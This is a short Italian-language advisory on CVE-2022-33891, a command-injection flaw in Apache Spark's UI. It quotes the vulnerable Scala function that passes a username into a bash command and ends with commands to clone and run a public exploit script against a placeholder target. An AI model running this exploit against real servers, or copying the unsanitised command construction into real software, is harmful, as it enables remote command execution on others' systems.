
「💥」CVE-2022-33891 - Iniezione di comandi in Apache Spark
L'interfaccia utente di Apache Spark offre la possibilità di abilitare le ACL tramite l'opzione di configurazione spark.acls.enable. Con un filtro di autenticazione, verifica se un utente ha i permessi di accesso per visualizzare o modificare l'applicazione. Se le ACL sono abilitate, un percorso di codice in HttpSecurityFilter può permettere a qualcuno di effettuare un impersonificazione fornendo un nome utente arbitrario. Un utente malintenzionato potrebbe quindi raggiungere una funzione di controllo dei permessi che, alla fine, costruirà un comando shell Unix basato sul suo input e lo eseguirà. Ciò comporterà l'esecuzione arbitraria di comandi shell come l'utente con cui Spark è attualmente in esecuzione. Questo riguarda le versioni di Apache Spark 3.0.3 e precedenti, le versioni da 3.1.1 a 3.1.2 e le versioni da 3.2.0 a 3.2.1.
private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
}

pip install requests
git clone https://github.com/AmoloHT/CVE-2022-33891
cd CVE-2022-33891
python3 CVE-2022-33891.py -u http://TARGET.TLD